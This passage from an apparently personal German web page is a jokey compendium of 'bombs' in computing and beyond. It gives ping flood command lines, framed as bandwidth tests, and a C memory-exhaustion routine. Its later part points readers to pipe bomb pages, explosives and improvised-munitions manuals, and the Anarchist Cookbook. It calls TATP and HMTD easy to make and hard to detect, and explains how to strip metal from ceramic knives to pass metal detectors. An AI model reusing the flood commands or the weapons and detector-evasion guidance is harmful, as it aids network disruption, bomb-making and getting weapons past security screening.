Es gibt von Logik-Bomben diverse andere Varianten wie die Dateien selbst (d. h. deren Inhalt) nicht zu verändern, aber deren Namen zu vertauschen oder zu verändern.
Eine weitere Variante ist die Dateinamen beizubehalten, den Inhalt aber mit einem (für den User unbekanntem) Passwort zu verschlüsseln; dies macht sogenannte Ransomware.
Um logische Bomben besser verkaufen zu können gibt es sie unter verschiedensten Namen, beispielsweise als "Anti-Theft Technologie" bei Intel u. Fujitsu. Umgesetzt wird damit das Prinzip Verbrannte Erde, das am Ende "Rettung" durch Selbstvernichtung ist, um nicht dem Feind in die Hände zu fallen.
Anwendungsgebiete sind neben dem Datenschutz auf gestohlenen PCs und Notebooks hauptsächlich das Löschen von gebrauchten Datenträgern vor dem Verkauf, beispielsweise mit einem von Knoppix-CD/DVD oder Knoppix-USB-Speicherstick (mit funktionierendem Schreibschutzschalter) gestartetem (Boot-)Skript, wie den oben abgebildeten Stick.
Hierzu eignet sich auch das Darik's Boot and Nuke ("DBAN") aber es arbeitet nicht automatisch und ohne Log-Dateien.

Ist der Einsatzzweck ein anschließender Verkauf der Datenträger, ist es besser vom obigen Skript nur die Schreib-Lesetests, also die Schleife mit badblocks, zu verwenden. Zur Überprüfung und Dokumentation des Löschens sollte man auch Log-Dateien erstellen, denn die fehlerfreien Datenträger lassen sich besser verkaufen. Zur umfangreichen Dokumentation, inklusive der Seriennummern der Datenträger, sollte man die SMART- und hwinfo-Daten auch speichern.

Starten kann man solche Bomben auch über definierte Tastenkombinationen, z. B. mittels CTRL-ALT-DEL, zu der man unter Linux u. Ä. eine Zeile in der /etc/inittab findet; um die geänderte inittab zu übernehmen ist nachher ein "telinit q" (oder reboot) nötig. In der Praxis sieht das ungefähr so aus wie in dem Video loeschen.avi. Das Video stammt aus unbekannter Quelle und ohne Daten über den Hersteller, ist hollywoodmäßig übertrieben und mit den Disketten/Diskettenlaufwerken etwas veraltet, auch durch moderne Kryptografie in Form von verschlüsselten Root-Dateisystemen mit abstreitbarer Verschlüsselung.

Daneben bietet "Lost Data Destruction" von Beach Head Solutions drei verschiedene Varianten zum Löschen aller Daten auf Laptops und Mobile Security 7.0 von Kaspersky hat eine Löschfunktion für verlorene oder gestohlene Mobiltelefone, die alle Daten löscht. Ähnliche Programme findet man hier: http://www.golem.de/0909/69881.html.
Es gibt auch Versionen der logischen Bomben, die neben den Daten auch das Betriebssystem, das BIOS und die Firmwaren, z. B. der Festplatte(n), Grafikkarte(n), HBA(s) usw. überschreiben. Die betroffene Hardware ist danach meist nicht oder nur aufwendig reparierbar, und damit meist Schrott, wie nach einer nahen Explosion einer Sprengstoffbombe.

Wichtig sind logische Bomben für das Marketing: Für die Hersteller sind sie ein Argument den Kunden neue Software zu verkaufen, denn die Kunden hoffen meist mit der neuen Software keine oder weniger logische Bomben mit zu kaufen, tatsächlich sind aber meist andere logische Bomben drinn, damit die Kunden gedrängt werden die Nachfolge-Software zu kaufen.
Deshalb gibt es logische Bomben nicht nur in der Software selber, sondern in Form fehlender Interoperabilität und fehlender Dokumentation - um die Konkurrenz fern zu halten und die Kunden an eigne Produkte zu binden: http://www.heise.de/open/artikel/Die-Woche-Zwangsjacken-ade-1024893.html.
Dies wird auch "It's not a bug, it's a feature." genannt und wenn Probleme auftreten, die offenbar nicht auftreten sollten, nennt man es meist "Software-Anomalie".

Beliebt sind logische Bomben häufig auch um Firmen-Kunden die "Reparatur", die nur ein Entschärfen der eigenen logischen Bomben ist, in Rechnung zu stellen.
Übertreibt ein Hersteller allerdings so sehr, das seine logischen Bomben die IT-Systeme der Anwenderfirmen lahm legen, begeht er u. A. Computer-Sabotage und die Manager des Herstellers können deswegen verhaftet und verurteilt werden: http://www.golem.de/1006/75967.html.

Link dazu.

Kryptologische Bombe

Die Kryptologische Bombe ist ein elektromechanisches Dechiffriergerät, das mit der deutschen Enigma verschlüsselte Nachrichten entzifferte.
Sie wird auch Turing-Bombe genannt, weil Allan Turing daran beteiligt war, aber sie ist praktisch nur von historischem Interesse.

Link dazu.

Ping-Bombe

Als Ping-Bombe wird ein flooding Ping bezeichnet, der eine Netzwerkverbindung sehr langsam und damit praktisch unbrauchbar machen kann. Hierfür benöitgt der Sender der Ping-Pakete aber (deutlich) mehr Bandbreite als das Ziel, will er seine Netzwerkverbindung nicht ebenfalls sehr langsam machen.
Der Name Ping-Bombe wird beispielsweise auf Wikipedia verwendet: http://en.wikipedia.org/wiki/Wikipedia:Disabling_edits_by_unregistered_users_and_stricter_registration_requirement und er kommt daher, das das Ziel mit Ping-Paketen "bombardiert" wird. Er hat nichts mit dem Ping of death zu tun, kann damit aber kombiniert werden.
Er auch (auch zusätzlich) kombiniert werden mit einer falschen Absender-IP-Nr. und so zwei Opfer haben, welche die Quelle nicht einfach erkennen können. Dies ist eine Variante des IP-Spoofing.

Eine Ping-Bombe wird unter Anderem auch zum Bestimmen von Bandbreiten verwendet.
Beispiel (im Unix-Format, wegen dem flooding nur vom Superuser auszuführen):

ping -s 32768 -l 5 -p 0f1e2d3c4b5a6978 -f 192.168.1.1

Unter einem unixoiden Betriebssystem ist dies problemlos möglich, aber das Microsoft-Windows kann dies nicht; dort benötigt man man ein zusätzliches Programm wie Joe's Ping Tool.
Programme wie gkrellm, xosview usw. zeigen die erreichte Datenrate an, die bei Gigabit-LAN typischerweise bei 200 Megabbyte/s liegt und durch einen zwischengeschalteten Switch nicht signifikant beeinträchtigt wird.
Mit einer Ping-Bombe kann man auch die Qualität der Datenverbindung überprüfen, denn das Programm Ping gibt neben der Verzögerungszeit (Round Trip Time, kurz RTT) ja auch die Anzahl der verlorenen und der defekten Datenpakete an. Beispielsweise zeigt das obige Beispiel ca. 200 MByte/s Traffic in einem Gigabit-LAN, bei einem Packet-Loss von 0,00 % und korrektem Pattern (0x0f1e2d3c4b5a6978).
Sinnvoll ist hierbei auch die zusätzliche Option "-c 10000", damit die Statistik für 10000 Pings erstellt wird und zur Bandbreitenmessung auch ein vorangestelltes time, zur Zeitmessung. Ein Beispiel:

time ping -c 10000 -s 32768 -l 5 -p 0f1e2d3c4b5a6978 -f 192.168.1.1

Weil jeweils auch (bei IPV4) ein 28 Byte großer Header transportiert wird, werden hierbei (32.768 +28)*10.000 = 327.960.000 Byte übertragen und zwar hin und zurück. Werden dafür real 2,95 s benötigt, wie bei meinem PC im GB-LAN im Februar 2010 (Intel Core i7 940 auf Supermicro X8SAX, Onboard-LAN), ist die gemessene Bandbreite 2*327.960.000 B / 2,95 s = 222 MB/s. Der Faktor zwei kommt daher, das die Daten auch zurück geschickt werden und das das Packet Loss sowie die Anzahl der korrupten Pakete (mit falschem Pattern) und auch der Prozentsatz mehrfache Pakete (duplicate packets) nahezu Null ist; ansonsten ist der Vorfaktor entsprechnd kleiner.
Bei der Zeitmessung muß man natürlich darauf achten, das die beteiligten Rechner und das LAN nicht mit anderem ausgelastet sind.
Und diese Rechnung stimmt genau nur dann, wenn die Datenpakete nicht defragmentiert werden, was man dem Ping vorgeben kann mit der Option "-M do". Im Beispiel würde aber eine MTU von mind. (32.768 +28) benötigt, was meist nicht der Fall ist; fast immer werden im LAN 1500 verwendet. Damit hat man im Beispiel nicht ein Datenpaket pro 32768 Byte Nutzdaten (Pattern), sondern 22 und entsprechend nicht 28 Header-Bytes sondern 616, durch welche die gemessene Bandbreite tatsächlich 226 MB/s beträgt.
Für einen simplen und groben Geswindigkeits-Vergleich reicht aber aus die mit dem time-Kommando gemessenen Zeiten zu vergleichen.

Bei wenig stabilen Verbindungen ist zur Diagnose hilfreich die Datenpakete maximal groß zu wählen (MTU-28 Bytes) und als nicht defragmentierbar zu kennzeichnen (Option "-M do"). Beispiel für DSL (MTU=1492) und mit Up- und Download von 1,464 MByte:

time ping -M do -c 1000 -s 1464 -l 6 -p 0f1e2d3c4b5a6978 -f 8.8.8.8

und für LAN/WLAN (MTU=1500), mit 14,72 MByte:

time ping -M do -c 300000 -s 1472 -l 64 -p 0f1e2d3c4b5a6978 -f 192.168.1.1

Allerdings ist durch den größeren Overhead der Durchsatz und damit die gemessene Bandbreite etwas reduziert, z. B. auf 150 statt 225 MB/s im GB-LAN. Und bei WLAN ist wegen der unidirektionalen Übertragung das Packet-Loss bei einem Preload-Wert (Option -l) größer eins ca. 50 % größer als mit einem von eins, bei nur gering höherem Traffic. Da auch bei DSL-Verbindungen das Packet-Loss mit dem Preload-Wert ansteigt, sollte er deutlich kleiner als 64 sein und daher wird oben 6 verwendet.
Und da WLAN meist nicht schnell ist, sollte WLAN zudem nur mit 1000 Datenpaketen getestet werden, also

time ping -M do -c 1000 -s 1472 -l 1 -p 0f1e2d3c4b5a6978 -f 192.168.1.1

Typischerweise beträgt das Packet-Loss bei einer mittelmäßig guten WLAN-Verbindung, bei der nur ein kleiner Bruchteil der Bandbreite genutzt wird, bei großen Pings um 10 %, und bei einer Paket-Größe von 128 nur um 2 %, bei immer korrekt übertragenem Pattern (0x0f1e2d3c4b5a6978). Dieses Packt-Loss deutlich größer Null ist auch Design-bedingt und Hersteller von WLAN-Hardware bezeichnen daher ein Packet Loss von ein bis zwei Prozent bei kleinen Pings (von nur 56 Byte (Netto)) als wenig und akzeptabel: http://kb.netgear.com/app/answers/detail/a_id/1037. Gleiches gilt für DSL- und Modem-Verbindungen, und verwendet man die über einen WLAN-Router, hat man dadurch verdoppeltes Packet-Loss, also bei guten Verbindungen zwei bis vier Prozent.

Ist das Packet-Loss auch bei zu deutlich weniger als 50 % ausgelasteter Verbindung groß, hilft meist die MTU zu reduzieren (bei beiden Endstellen), z. B. auf 512.
Wegen den relativ kleinen Datenpaketen ist der Durchsatz bei diesem Test aber merklich reduziert. Beispielsweise im Gigabit-LAN auf ca. die Hälfte bis ein Drittel, z. B. 75 statt 225 MByte/s, aber der konkrete Wert hängt auch von Details wie den Netzwerkkarten und CPUs ab.

Mit den Programmen ifconfig/ipconfig/iwconfig und ethtool erhält man weitere Informationen über die Qualität der Datenverbindung und man kann damit beispielsweise auch zwischen einem defekten Modem und einer defekten Telefonleitung meist eindeutig unterscheiden, allein mit Software.

Verwandt mit der Ping-Bombe sind Smurf-Attacken.

Neben dem einfachen (ICMP-)Ping kann man prinzipiell auch arping, httping sowie hping und andere wie bing, fping, mtr und pathping verwenden. Beispielsweise eignet sich arping zum Pingen auf MAC-Adressen oder auch Rechner die nicht auf einfache ICMP-Pings antworten, z. B. wegen einer Firewall die ICMP-Pings nicht durchläßt. Bei ARP-Pings gibt es aber weniger Optionen, z. B. keine einstellbare Paket-Größe. Beispiel:

time arping -c 3000000 -q -w 0 192.168.1.1

was bei PCs im GB-LAN ca. 25 MB/s Traffic erzeugt, für rund 10 Sekunden, und dabei jeweils einen Core komplett auslastet (bei beiden PCs), während das einfache ICMP-Ping zwar ebenso belastet, sich aber (im zeitlichen Mittel und daher auch in der Anzeige von top, gkrellm usw.) auf mehrere Cores verteilt.

BGP-Bombe

Die BGP-Bombe ist der Mißbrauch des Border Gateway Protocol (BGP, RFC 4271) zum "kapern" von Webservern (bzw. deren IP-Nr.). Solche Bomben sind sehr effektiv, weil das BGP so gut wie keine Autorisierungsmechanismen hat, die Missbrauch verhindern könnten.
Die Pakistan Telecom hat mit so einer Bombe im Februar 2008 stundenlang Youtube.com nicht nur in Pakistan sondern sogar weltweit gesperrt, obwohl diese Mißbrauchs-Möglichkeit schon über 10 Jahre vorher allgemein bekannt war: http://www.eweek.com/c/a/Security/Pakistan-Drops-the-BGP-Bomb/
http://www.heise.de/security/Router-luegen-nicht-was-wenn-doch--/news/meldung/114984.
Und 2010 wiederholte dies ein chinesischer Internet-Provider mit rund 37.000 fremden IP-Netzen, in denen sich u. A. www.amazon.de, www.rapidshare.com und www.geocities.jp befanden: http://www.heise.de/newsticker/meldung/Chinesischer-Provider-entfuehrt-kurzzeitig-Teile-des-Internets-975137.html.

Bomb48

Für alle Informatik-Studenten, die ihre Bombe verloren haben. Von Dr. Evil.
Quelle: http://www.infmath.de/wbb/index.php?page=Thread&threadID=940.

Absturz-Bombe

Als Absturz-Bombe bezeichnet man gezielte Abstürze des Betriebssystems, beispielsweise die Kernel-Patches von Net Insight, für Nullpointer-Dereferenzierung, Stack Corruption, Heap Corruption, Kernel Panic und andere Abstürze; beschrieben im Linux-Magazin 04/10, Seite 20.
Der Name kommt auch von der Fehlermeldung des Mac OS (vor Mac OS X), denn wenn dieses Betriebssystem abstürzt, zeigt die Fehlermeldung eine Bombe. Siehe auch nächstes Kapitel.
Als Bömbchen gibt es Programm-Abstürze, also Abstürze im User-Space, z. B. durch Segmentation Violation/Schutzverletzung. Das erreicht man mit Pointern, auf zufällige Adressen. Alternativen sind ein Heap Overflow, z. B.

int
heap_overflow (void)
{
  int i = 0, *ptr_i = 0;
  unsigned long int uli0, uli1;
  for (uli0 = 0; uli0 < ULONG_MAX; uli0++)
  {
    for (uli1 = 0; uli1 < ULONG_MAX; uli1++)
    {
      ptr_i = (int *) malloc (sizeof (int));
      i ^= *ptr_i;              // use the memory to avoid to get optimized away
    }
  }
  return i;
}
Einen Stack Overflow erreicht man durch zu viele rekursive Aufrufe, beispielsweise mit der Ackermann-Funktion, wofür meist ackermann( 4, 2) genügt. Deshalb verbieten Standards wie MISRA rekursive Funktionen komplett. In (MISRA C:2012 heißt es: "Rule 17.2 Functions shall not call themselves, either directly or indirectly". Misra geht sogar so weit das die meist zumindest teilweise rekursiv implementierten Standardfunktionen bsearch() und qsort() nicht benutzt werden dürfen.

Bombe (Fehlermeldung)



E-Bombe/EMP-Bombe

E-Bomb
Quelle: http://www.globalsecurity.org/military/systems/munitions/hpm.htm.
Weitere Links: Weiterer http://science.howstuffworks.com/e-bomb.htm
http://web.archive.org/web/20061117165357/http://www.airpower.maxwell.af.mil/airchronicles/kopp/apjemp.html
http://encyclopedia.thefreedictionary.com/Explosively pumped flux compression generator
http://www.tfd.chalmers.se/~valeri/EMP.html


Computer Bombs

Ca. 1995:
Computer Bomb
Auf 50 % verkleinertes und per Rechtsklick vergrößerbares Bild.

2006: Dell Laptop explodes
http://www.theinquirer.net/inquirer/news/1042700/dell-laptop-explodes-japanese-conference


ANSI-Bombe

(nur für MS-DOS/MS-Win9x/ME)

Patch bombs, bombout, bombing out etc. in Linux

find /usr/src/linux/. -type f -exec grep -i "bomb" {} \;



Disketten Bombe (aus dem Anarchists Cookbook, siehe unten)



XML-Bombe

und Dismantling an XML-Bomb.

SMS-Bomber Pro

und SMS-Bomben.

IPBomb



Postscript-Bombe



Text-Bombe, Textbombe

Apple bewies Anfang 2018 das man selbst eine simple Textausgabe so vermurksen kann, dass das betreffende Programm bei einigen unscheinbaren und lange existierenden Texten abstürzt, das man zudem das Betriebssystem so vermurksen kann, das es von so einem simplen Absturz einer Applikation selbst zum Absturz gebracht werden kann, so als ob die MMU noch nicht erfunden wäre, und das man Millionen Kunden als Beta-Tester mißbraucht um solche Anfänger-Fehler aufzuspüren - mit Crash-Schleifen, die dafür sorgen das das die Abstürze nicht einmal auftreten, sondern so lange bis die Kunden mit einem Workaround stoppen.

Textur-Bombe, 3D-Bombe



Google-Bombe



Microsoft-Bombe



Internet-Bombe



Safari-Teppich-Bombe



XBomb



Bomberman



ESX-Zeitbombe



PCBombe



High Performance Computing Bomb

Billig-Versionen findet man hier:
http://www.golem.de/0805/60079.html
http://www.golem.de/0912/71893.html.

Einige Nukes (dt. Atombomben, obwohl die korrekte Bezeichnung Kernwaffen wäre; es kann generell aber auch in der Mikrowelle erhitzen bedeuten)

Nuke (warez), Warezbomb.
DOS Nuke - Eine Nachbildung vom posix-konformen "rm -rf" für MS-DOS/DR-DOS/FreeDOS/... .
WinNuke.
PHP-Nuke.
Und es gibt diverse Nuke-Spiele wie Duke Nukem ... und das DOS-Spiel Nuke It von 1998.

USB Bomben

Bombastischer Speicher bombensicher: USB-Bombe für explosive Daten

USB Bomb


USB-Granate: USB Grenade, ein Produkt der USB Army: USB Grenade


Zum Anschließen eignet sich besonders der auch beim gleichen Anbieter erhältliche USB Doomsday Device Hub/Suicide Bomb Button mit Kill switch: USB Bomb

Ebenfalls bei www.thinkgeek.com findet man Mitte 2010 auch die "Danger Bomb Alarm Clock" mit dem Hinweis "Dynamite not included", was bei dem Preis von $34,99 nicht verwundert.
Etwas teurer findet man daneben Stinkbomben im Set "The Dangerous Book for Boys Classic Chemistry", für $35,95 und deutlich billiger ist daneben die Theorie: Das Buch mit dem Titel "Mini Weapons of Mass Destruction" aus dem Genre How To Make Weapons kostet nur $15,99.

WLAN-Bomben (WiFi Bombs)

WiFi Bomb (WLAN Bombe).
Weiterer Link.
Weiterer Link.
Diese WLAN-Bomben gibt es natürlich auch hier zu kaufen.

Minen

Minesweeper
und die magnetische Licht-Mine, LED Magnetic Light Mine: LED Magnetic
      Light Mine




Nicht direkt zur Informatik gehörend, aber auch für Informatiker interessante "Bomben" ;-)

Sexbombe

Leuchtbomben - Eine Bomben-Entdeckung

Bombardierkäfer

Stinkbombe (FeS + 2HCl => H2S (g) + FeCl2)

Who?-Me?-Bombe und Gay Bomb

Bomba - eine Kalorienbombe.

Rettungsbombe

Weitere Kalorienbomben sind die Rumbombe, die Liegnitzer Bombe und die Eisbombe, beispielsweise die Fürst-Pückler-Bombe.

Fettbombe

Vulkanische Bombe

Schmutzige Bombe und Sprengsatz-Bombe

Geldbombe

Arschbombe

Rauchbombe

Lachbombe

Bombenidee

Bomberjacke passend zum Bomber.
Allerdings wird Bombing auch von Sprayern ausgeübt.

Bombenwetter

Bomben-Software

Bombenjahre

Schlaue Bomben

Intelligente Bomben

Säurebombe (Acid Bomb); nicht zu verwechseln mit Säurezündern.

Grüne Bomben: Nicht nur stärker als Bomben mit TNT sondern auch ökologisch korrekt durch Sprengstoffe der nächsten Generation wie z. B. Tetrazolen HBT und G2ZT.

23 Bomben-Rezepte

Vitaminbombe

Ein berühmter Fernseh-Bombenbenauer ist MacGyver, aber dessen Bomben sind im Film meist deutlich übertrieben.

In Büchern hingegen findet man meist brauchbare Bombenauanleitungen, beispielsweise: Schwarzpulver für Survival - Band 1 Improvisation von Schwarzpulver und ähnlichen Mischungen, Schwarzpulver und Sprengsalpeter, Nitroglyzerin und Dynamit, Das Lehrbuch der Sprengmeister und auch Die Sprengstoffe - Ihre Chemie und Technologie. Allerdings enthalten Bücher meist wenig zu leicht herstellbaren und schwer nachweisbaren Sprengstoffe wie Hexamethylentriperoxiddiamin (HMTD) und Triaceton-Triperoxid (TATP).
Zum gefahrlosen Trainieren eigenen sich Programme wie "Sprengmeister Simulator 2009", die aber meist nur zum Spielen geeignet sind.
Daneben gibt es online auch reichlich Anleitungen um aus leicht erhältlichem wie Streicholzköpfen, Wunderkerzen oder Sylvester-Knallern Bomben zu bauen, aber für einfache Explosionen reicht schon wenig Erdgas für eine Gasexplosion oder ein bischen Mehlstaub für eine Staubexplosion.

Anleitung zum Bau einer Atombombe und der Hintergrund-Artikel Wie baut man eine Atombombe der Zeit über den Wert von Bauanleitungen für Kernsprengköpfe und von tacit knowledge.
Passend dazu gibt es die amtliche Statistik, nach der die Anzahl der Explosionen durch Kernenergie in Deutschland rückläufig ist: http://www.quintessenz.org/d/000100002961.

Pornoatombombe

Einführung in die Sprengchemie - Appendix und Erläuterungen
Ein Backup findet man z. B. unter http://web.archive.org/web/20071012031308/http://www.burks.de/kawumm.html

http://www.idison.de/index.php/explosionen.html - Do-it-yourself-Explosionen für Hobbyelektroniker und Hobbychemiker.

http://bombenterror.de - Viele Bauanleitungen; von der Rohrbombe bis zur Wasserstoffbombe findet man dort alles.

MAKE A PIPE BOMB (Rohrbombe)

Unter http://bombenbauanleitungen.de/ findet man allerdings keine Bombenbauanleitungen, im Gegensatz zu http://bombenbauplaene.de/.

Zum bombigen Feiern eignen sich T.N.T. Dynamite Parties, zum bombigen Spielen wie für eine explosive Stimmung bei Fußballspielen eignet sich TNT Dynamite Soccer.

Sprengstoff-Verein.de: Der berliner Verein für Sprengmeister, Sprengstoff- und Pyrotechnikinteressierte.

Zum bombigen sparen eignet sich Bomb coin box from Tomy.

Cartoon Bomb.

Bombe am Handgelenk.

Die Peta-Finanzbombe.

How to make a Soda Can Bomb.

Zum Bombenbauen, Bombenlegen sowie zum Bombardieren passende Lieder gibt es von Interpreten wie Dynamite Deluxe; beispielsweise das Lied Bombs, Dynamite Deluxe: TNT und Dynamite Deluxe: Dynamit und natürlich den Klassiker TNT Dynamite von AC/DC sowie Spiel mir das lied vom Tod. Deutlich altmodischere Lieder sind beispielsweise "Bomben auf England", die man auch in diversen Tauschbörsen online findet und die es auch als Klingelton gibt.
Auf Musik-Seiten wie www.pandora.com findet man dutzende weitere Lieder: Allein pandora.com listet 30 verschiedene Lieder mit Dynamite im Titel!
Dort findet man auch Musik zum Entschärfen von Bomben; beispielsweise How to Dismantle an Atomic Bomb.
Zudem gibt es auch bombige Bands wie z. B. COTTONBOMB, und bombige Alben wie z. B. Bombe.

Im Magazin Bomb findet man allerdings praktisch nichts zu Bomben.

Richtig gute Bombenbau-Kurse, auch mit Übungssprengungen und Kursen zur effizienten Neutralisierung von Menschen, Maschinen und Gebäuden gibt es bei der Bundeswehr und den meisten anderen Armeen, aber generell nur für registrierte Gefechtsfeld-Manager (früher Soldaten genannt) und gedacht hauptsächlich zur Friedenserzwingung (früher Krieg genannt), aber ein bischen mehr oder weniger Sprengen fällt dort nicht auf und auch Kollateral-Schäden verschwinden dort sicher in Archiven und Statistiken.
Hierfür wird u. A. das Bombodrom verwendet und dazu gibt es beispielsweise das Improvised Munitions Handbook das zwar nur konventionelles enthält, aber dies relativ ausführlich, inklusive Minen, Granaten, Raketen Zündverzögerer usw. auch mit Abbildungen erläutert. Zur Theorie, z. B. die Berechnung der optimalen Explosions-Höhe als Funktion der Sprengkraft (Machstammeffekt), den Sicherheitsvorschriften und den erforderlichen Genehmigungsverfahren findet man in diesem Buch allerdings praktisch nichts.
Neben den realen Armeen und Bomben gibt es für Informatiker "Cyberarmeen" wie das Cyber Security Operations Centre (CSOC) und diese verwenden auch die oben beschriebenen virtuellen Bomben.
Juristisch hat dies aber mit Armeen oder Krieg nichts zu und folglich kann sich ein "Cyberkrieger" nicht auf das Kriegsvölkerrecht, z. B. die Genfer Konventionen, berufen.

Farbbomben und andere Spielereien findet man im Klassiker Anarchist Cookbook und Anleitungen zum Bombenlegen im Buch Hit Man.
Links u. A. zum Badminds Cookbook , das dem Anarchist Cookbook ähnelt, findet man unter http://www.burks.de/forum/phpBB2/viewtopic.php?p=33557.
Ähnliche Klassiker sind das Anarchist's Arsenal und Advanced Anarchist Arsenal.

Bei Bombenbauern beliebt sind neben Explosionszeichnungen auch für Metall-Detektoren unsichtbares Zubehör wie Keramik-Messer, die es in Discountern wie Norma ab 8,99 EUR gibt: http://norma-online.de/_de_/_angebote_/_ab-mittwoch-19.12._/
Allerdings kann der Griff Metall enthalten; viele Keramik-Messer sind deshalb für Metall-Detektoren nicht unsichtbar, so wie auch die meisten "metallfreien" Minen, die aus Kostengründen fast immer eine Sprengkapsel aus Aluminium enthalten. Enthält ein Keramikmesser nur wenig Metall, kann man es mit Säuren wie Salzsäure meist relativ leicht wegätzen und dünne Metall-Schichten kann man meist in einem Mikrowellen-Grill verdampfen.

Vor allem bei nächtlichen Bombenbauern beliebt sind Nachtsichtgeräte mit integrierter zuschaltbarer Infrarotbeleuchtung zur Beobachtung bei völliger Dunkelheit, die es bei Discountern wie Plus und Lidl ab 129 Euro gibt: http://www.discounto.de/Angebot/Nachtsichtgeraet-3x40-9613/.

Echte Bombenbauer wohnen vorzugsweise im Dorf Killer (PLZ 72393) im Killertal, oder der Bombenhauptstadt Hannover, trainieren natürlich in Leichendorf und bevorzugen zum Bomben-Transport natürlich TNT, also für Paket-Bomben den Express-Versand von TNT und für Brief-Bomben die Post von http://www.tnt.com/.
Für echte Bombenbauer gibt es Semtex unter Anderem auch als Energy-Drink und als Kleidung: http://prague.tv/articles/zine/semtex.
Für Terror hingegen nimmt man aber ganz andere Mittel, insbesondere für Soft Targets wie Wäsche, Hände und Bakterien (Quelle: http://www.boingboing.net/2006/10/18/now-this-liquidgel-d.html):
Terror

Eine wahre Fundgrube an Bombenbauanleitungen sind die Patentämter, z. B. über die Patent-Suche mittels Google: http://www.google.com/patents?q=bomb&btnG=Search+Patents.
Weitere Suchmöglichkeiten findet man hier: http://www.at-web.de/blog/20070106/google-patentsuche.htm.

Für Bombenstimmung findet man auf www.perl.de PC-gesteuerte Raketenwerfer mit echt fliegenden Raketen, Bomberfun, Bomberman, Fliegende Bomben, Autobomben, Wasserbomben, Bomb Jack und einiges andere, aber bisher keine Zombie-Bomber.
Ebenfalls für Bombenstimmung findet man auf ebay.de einiges; beispielsweise den Film "Die nackte Bombe", "Die nakte Bombe II" usw..

Anschlagpuffer - können Anschläge zwar nicht verhindern aber so abpuffern das sie völlig ungefährlich sind!
Ideal auch zum Testen sowie Vorbereiten von Anschlägen.
Ebenfalls zum Vorbereiten und Durchführen von Anschlägen gemacht sind spezielle Formulare wie das Anthraxformular: Die Checkliste für biologische Anschläge und mit nur rund 260 Anschlägen (Schreibmaschienen-Anschlägen) ausgeflüllt.

Rush for the Bomb: Das bombige Add-On zum vielfach preisgekrönten Taktik-Hit "Rush for Berlin"!

Die Bombe unter der Achselhöhle

Käse als Übungsbombe und warum in US-Flughäfen Handy-Ladegeräte höchst verdächtig sind und Käse quasi verboten ist.

Über 200.000 Bomben findet man auf Youtube; insbesondere Cola-Bomben!

Sprengen und sparen!!!
sowie Rasen sprengen - aber richtig

Warum der Vorname Bob in australischen Flugzeugen Bombenalarm auslöst und wieso es in Australien extralegal (früher illegal genannt) ist auf einen unbenutzten Spuckbeutel die Abkürzung oder den Namen "BOB" zu schreiben.
Schließlich haben die Australier das Terrorbyte erfunden.

all Warum in USA alles eine Bombe ist.


Passend dazu gibt es auch den Hoster BombDrop in USA: http://www.bombdrop.net/

Detonationen ohne Sprengstoff kann man beispielsweise auch mit Hochspannung erzeugen: http://www.powerlabs.org/emguns.htm

Ein andere Seite, die Fork-Bomben ausführlich erklärt: http://www.netzmafia.de/service/fork.html

Compiler Bomb: https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb

Buffer Bomb: http://www.cs.cmu.edu/afs/cs/academic/class/15213-s02/www/applications/labs/lab3/buflab.html


Bombige Theorie

Formelsammlung Physik/ Kernwaffenexplosion


Bombige Museen

AtomicBombMuseum.org

The Nuclear Weapon Archive

Trinity Atomic Web Site


Bombige Zitate

Die Bombardierung Russlands beginnt in fünf Minuten - ein bombiger Mikrofon-Test von US-Präsident Ronald Reagan am 11. August 1984.



Werbung

Housebombs
http://ads.getyacg.com/img/blogfarmexplosion.jpg
Blog Farm Explosion
Create hundreds of blogs on hundreds of hosts in minutes!
$97 per month



Arschbomben Sprengstoff,Zuendstoff

Sitemap